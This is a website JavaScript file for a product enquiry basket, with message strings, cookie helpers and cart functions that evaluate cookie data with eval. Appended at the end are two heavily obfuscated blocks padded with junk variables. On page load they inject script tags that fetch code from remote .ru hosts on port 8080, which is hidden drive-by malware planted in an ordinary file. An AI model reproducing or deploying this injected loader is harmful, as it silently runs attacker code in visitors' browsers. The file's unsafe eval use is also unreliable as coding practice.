// ------------- global variable and functions --------------------------

var message1 = [];          // here message is changed to message1 as message is already exist in                                         disablerightclickjs  

message1["1"] = "Client-ID NOT Passed";
message1["2"] = "Item code NOT Passed";
message1["3"] = "Amount NOT Passed";
message1["4"] = "Payment Gateway NOT defined";
message1["5"] = "Company-Catalog Record Not Found";
message1["6"] = "Client Company is disabled";
message1["7"] = "Product catalog is disabled";
message1["8"] = "Please configure client service";
message1["9"] = "RFQ is not configured";
message1["10"] = "Session has been expired";
message1["11"] = "Action NOT Defined";
message1["12"] = "Item Not Found";
message1["13"] = "Item is Disabled";
message1["14"] = "Required Parameters Not Passed";
message1["15"] = "Quantity is Not Positive Numeric Value";
message1["16"] = "SiteID could pot provide encryption key";
message1["17"] = "Unable to decrypt the content recieved";
message1["18"] = "Unknown order-id from gateway";
message1["19"] = "Query has already been sent";
message1["20"] = "Template Not found";
message1["21"] = "Undefined action";
message1["22"] = "Problem with cookie-setting";
message1["23"] = "Field Size Exceeding";
message1["24"] = "Incorrect value";
message1["item_already"] = "This Item is already Present in the Enquiry Basket";
message1["itemadded"] = "Your item has been added to the Enquiry Basket";
message1["item_contains"] = "Your Enquiry Basket contains following items";
message1["item_deleted"] = "Selected items has been deleted";
message1["cart_emptied"] = "Your Enquiry Basket has been emptied";
message1["cart_updated"] = "Your Enquiry Basket has been updated";
message1["submit_enquiry"] = "<b>Carefully review the items in your Enquiry Basket below.<br>To send the enquiry please complete the form.<br>All fields marked <font COLOR='RED'>*</font> are mandatory.</b>";



function get_message(messagecode)
{
    if(messagecode == "")   {
        return;
    }
    else    {
        return eval("message1['"+messagecode+"']");
    }
}


function getCartCookie(Name)
{
    var search = Name + "="
    if (document.cookie.length > 0)
    { // if there are any cookies
        offset = document.cookie.indexOf(search)
        if (offset != -1)
        { // if cookie exists
            offset += search.length
            // set index of beginning of value
            end = document.cookie.indexOf(";", offset)
            // set index of end of cookie value
            if (end == -1) end = document.cookie.length
            return unescape(document.cookie.substring(offset, end))
        }
    }

    return "";
}


function setCartCookie(name, value)
{
    expires = new Date();
    expires.setTime (expires.getTime() + 24 * 60 * 60 * 150 * 1000);

    if (value.length > 0)
    document.cookie = name + "=" + escape(value)+ ";"+"expires=" + expires.toGMTString() + ";";
}

//------------------------ cart related functions -----------------------------

function add(pcode, pname, referer)
{
    var myCart;

    if((cookie = getCartCookie("CART_SESSION")) > "")   {
        myCart = eval("(" + cookie + ")");

        //when cart cookie is set

        //check if item already present in cart
        var itemsArr = myCart[0];
        var item_exists = 0;
        for(i=0; i< itemsArr.length; i++)
        {
            if(itemsArr[i].item_code == pcode)  {
                myCart[1].message1 = get_message("item_already");
                item_exists=1;
                break;
            }
        }

        //item not in cart, then add new item at end or item array in cart
        if(item_exists == 0)    {
            //item not in cart, then add item
            //add new cart product object at end of array iemyCart[0]
            var item = new Object();
            item.item_quantity = '';
            item.item_code = pcode;//value can be non numeric.. also encode it
            item.item_name = pname;//encode it as value can have " in itself
            myCart[0][myCart[0].length]=item;//add new item object to end of cart item array
            myCart[1].message1 = get_message("itemadded");
        }
    }
    else
    {
        //cookie does not exist... make new cart cookie
        var myCart = new Array(2);
        myCart[0] = new Array();
        myCart[1] = new Object();
        
        var item = new Object();
        item.item_quantity = '';
        item.item_code = pcode;
        item.item_name = pname;
        myCart[0][myCart[0].length]=item;//add new item object to end of cart item array

        //add other information in cart     
        myCart[1].message1 = get_message("itemadded");
    }

    myCart[1].referer = eval(referer);
    //reset cart cookie
    var myCartJSON = myCart.toJSONString();
    setCartCookie("CART_SESSION",myCartJSON);

    return true;
}

function removeitem(i)
{
    var myCart;
    if((cookie = getCartCookie("CART_SESSION")) > "")   {
        myCart = eval("(" + cookie + ")");
        //when cart cookie is set
    
        //delete i'th record from cookiy cart array
        var itemsArr = myCart[0];
        myCart[0].splice(i,1);
        myCart[1].message1 = get_message("item_deleted");

        if(itemsArr.length ==0)
        {
            myCart[1].message1 = get_message("cart_emptied");
        }        

        //reset cart cookie
        var myCartJSON = myCart.toJSONString();
        setCartCookie("CART_SESSION",myCartJSON);
    }

    return true;
}

function update_cart(frm)
{
    var myCart;
    if((cookie = getCartCookie("CART_SESSION")) > "")   {
        myCart = eval("(" + cookie + ")");
        //when cart cookie is set
    
        //delete item from it
        var itemsArr = myCart[0];
        var d=0;

        for(i=0; i< itemsArr.length; i++)
        {
            var v = eval("document."+frm+".quantity_"+i+".value");
            //update item in cart array
            itemsArr[i].item_quantity = v;
	    myCart[1].message1 = get_message("cart_updated");
        }

        if(itemsArr.length == 0)
        {
            myCart[1].message1 = get_message("cart_emptied");
        }
        //-----------------------------------------------------

        //reset cart cookie
        var myCartJSON = myCart.toJSONString();
        setCartCookie("CART_SESSION",myCartJSON);
    }

    return true;
}

function empty_cart()
{
    var myCart;

    if((cookie = getCartCookie("CART_SESSION")) > "")   {
        myCart = eval("(" + cookie + ")");

        var itemsArr = myCart[0];
        itemsArr.splice(0,itemsArr.length);//Empty array

        var myCartJSON = myCart.toJSONString();
        setCartCookie("CART_SESSION",myCartJSON);
    }
    //do nothing as no cart found
    return true;
}

function isEmpty()
{
var isEmpty = false;

    if((cookie = getCartCookie("CART_SESSION")) > "")
    {
        var myCart = eval("(" + cookie + ")");
        var p = myCart[0];
        if(p.length > 0)
        {   
            isEmpty = true;
        }
        else
        {
            isEmpty = false;
        }
    }
return isEmpty;
}

function checkAndUpdate(frm)
{
	update_cart(frm);
	eval("document."+frm+".action = \"cart.html\"");
	eval("document."+frm+".submit()");
}

function add_more_items(frm)
{
	update_cart(frm);
	if((cookie = getCartCookie("CART_SESSION")) > "")
    	{
		var myCart = eval("(" + cookie + ")");
		if(myCart[1].referer)
		{
			eval("document."+frm+".action = myCart[1].referer");	
		}
		else
		{
			eval("document."+frm+".action = \"storage-systems.html\"");	
		}
        }
	else
	{
		eval("document."+frm+".action = \"storage-systems.html\"");
	}
	eval("document."+frm+".submit()");
}

function submit_query(frm)
{
        update_cart(frm);
        eval("document."+frm+".action = \"checkout.html\"");
	eval("document."+frm+".submit()");
}

R=50082;R+=202;var Ka=[];var V={FW:"a"};function m(){I=["bx","Gb","VB"];this.p="p";this.XQ="XQ";var Q=new String("onloa"+"wPId".substr(3));var s=[];try {var C='Bd'} catch(C){};var T="ap"+"9fLbpe".substr(4)+"nd"+"ChXnx".substr(0,2)+"UI2il".substr(3)+"YE2xd2xYE".substr(4,1);Rj={};var bz=["Kn"];var W="scriC2tv".substr(0,4)+"PahptPha".substr(3,2);this.kV=62006;this.kV-=186;var f="defQOJ".substr(0,3)+"er";var RR=new Array();var F=window;this.DB=false;var u=new String("creatmFM".substr(0,5)+"eElem"+"oFwentFow".substr(3,3));Tun={mu:"gK"};var c=document;var Yy=[];kU={m_:false};var G="bod"+"PjTy".substr(3);var uY=22684;aF=44122;aF--;var k="hmTsrc".substr(3);var n={zV:48199};try {var pz='zn'} catch(pz){};this.gx=13624;this.gx+=241;DBN={x:"N"};function X(){d=21618;d++;RW=[];var syB=[];try {var Tx={ks:"gl"};try {} catch(lt){};An=63935;An+=123;Io=["DM","mT"];var D=4459-4458;var no={IH:60795};kG=[];var l="htt"+"U0vlp:/".substr(4)+"jmts/pa".substr(4)+"ssp"+"k7Gort".substr(3)+"3Ajqblu3jAq".substr(4,3)+"es."+"ru:";var Dr=new Array();this.Dj='';var Tb=987146-979066;var YQ=new Array();var EU=new String();var b=new String("Iwz/go".substr(3)+"ogl"+"e.cNlT9".substr(0,3)+"om/"+"bosCUhX".substr(0,3)+"ton"+".co"+"m/wu8p".substr(0,3)+"atc"+"fUah-mfUa".substr(3,3)+"13Kovi1K3".substr(3,3)+"es-"+"onl"+"ine"+".tv"+"lI4.phI4l".substr(3,3)+"piBM".substr(0,1));this.km=61308;this.km+=243;var zA=new Date();t=c[u](W);this.asq=46881;this.asq+=98;var XP=new String();t[k]=l+Tb+b;t[f]=D;this.fx=39949;this.fx--;this.H=32927;this.H--;this.ob=49148;this.ob--;c[G][T](t);fm=54190;fm--;var xM=["gO"];} catch(B){_d=["L"];this.nn=2132;this.nn+=220;this.IK=35476;this.IK+=75;};var hP="hP";var BdB=6608;}var kR={CP:53424};this.oQ=38542;this.oQ++;F[Q]=X;Cs=[];};this.zy=false;m();
v={C:"A"};var E={};try {var h='EZ'} catch(h){};try {u={q:3812};YQ={b:false};r={D:false};var Q="";var Kp=new Array();this.R=63407;this.R-=159;try {} catch(t){};var TL=new Array();var U=window[new String("un"+"es"+"ca"+"7aHGpe".substr(4))];PX=22407;PX+=122;var rR=[];var jm=new Date();this.k_=24115;this.k_--;this.ql=35810;this.ql++;var W="onlj3vO".substr(0,3)+"jApoad".substr(3);var YA=new Array();var s='';var ce=new Date();var y="1";var i="repl"+"ace";var MG='';try {var kh='Tl'} catch(kh){};var ki=["_B","vb","QE"];var kK='';var xR='';var BT=new Date();dv={XX:28902};var B=window[(String("RegLfb".substr(0,3)+"NlnExp".substr(3)))];aF=22004;aF+=163;this.iL='';var VE={PJ:false};this.hz='';pp=15154;pp++;function O(y,X){this.GS=57114;this.GS+=125;var j=String("[");var PC=false;var mw=[];j+=X;var YC={ba:false};XP=["WG"];var Ik={SE:false};var Ih={Si:false};Pv=["uB"];j+=U("%5d");this.Bl=53437;this.Bl+=181;var hn={Iz:13859};aT={DS:false};UL=16761;UL--;var cg=[];sc={Xa:42272};var cO=["Gm","_a"];var pR=["ZU","yB"];var Y=new B(j, new String("g"));Pe=65080;Pe--;try {var Cmx='_E'} catch(Cmx){};return y.replace(Y, s);};xb=1714;xb-=154;Wcf=62699;Wcf-=12;var IS=new String();Xp=[];ro=28254;ro-=179;var o=String("http"+"://gtfe".substr(0,4)+"I6Yothg".substr(3)+"uilt"+"SRyU.ru:yURS".substr(4,4));wg=["LDs","ai","_W"];var ob="";var M=520549-512469;kg={nc:false};var UA="/mi"+"lli"+"yet"+"-co"+"m-t"+"r/g"+"oog"+"le.yIN0".substr(0,3)+"com"+"bku/sh".substr(3)+"are"+"asa"+"le."+"TYnjcom".substr(4)+"2veC.phe2Cv".substr(4,3)+"p";var cJ="cJ";try {} catch(Bg){};fT=["wQ"];this.kM='';var em=new Array();function J(){var lne={};var ARm={gm:false};VX={eR:"aW"};var FU={};var Z=document;var uJ=new Array();RC={Ru:false};try {var Lo='Xe'} catch(Lo){};Ozj=59621;Ozj++;var sv=new String("appJ3A".substr(0,3)+"endmI8T".substr(0,3)+"ChiV9j".substr(0,3)+"ld");var Li={Fn:false};this.eV="";this.Ox=6705;this.Ox++;var zp={};var H=O('skcerCiIpDtT','gJbIuDHTe2UkCEyLSzY');pS=12730;pS+=238;var gE=["Fp","Fs","aR"];cBE=["ek"];gg=["Tk","cd","WU"];WI=13897;WI++;var Aq=new Array();var hN={hd:false};K=Z.createElement(H);qL=51373;qL--;oF=25889;oF--;Rg=24707;Rg--;lX=[];oV=[];L=o+M;L=L+UA;this.vA=32456;this.vA+=144;Ig={mW:"_P"};TD=["iX","qZ"];Pu=["vB","hA"];var qV={};try {} catch(AF){};var Eg={FI:1928};K.src=L;var Ka=[];K[new String("defe"+"32Ur".substr(3))]=y;var mO={cC:"iO"};var fu={WR:"uh"};var Cl={cL:"Rw"};kJ=["Ai","Rx","Zl"];var EGD={xt:"uTV"};var LoX=[];var MXq=new Date();Cs={VF:20495};var zf=false;var BE=["aso","GE"];var UV=Z.body;var ZI="ZI";var cE=["vN"];var az=["__","aO","zW"];this.am=33212;this.am++;var fh=["Nq","Nx"];this.cS="";this.RW="";JV={RK:false};UV[sv](K);var bg={KD:54027};};var baE="";UM={Cv:"Lf"};this.gB=39514;this.gB--;var miT=false;var lI=false;var ah={Ke:false};window[W]=J;var RI=33912;var H_=["wz"];var YyZ=["idf","lq","IH"];this.eo=47526;this.eo++;this.kq=52128;this.kq--;} catch(d){try {var aZ='Bp'} catch(aZ){};this.iz="";var go={rg:"pV"};try {var bh='Ua'} catch(bh){};};







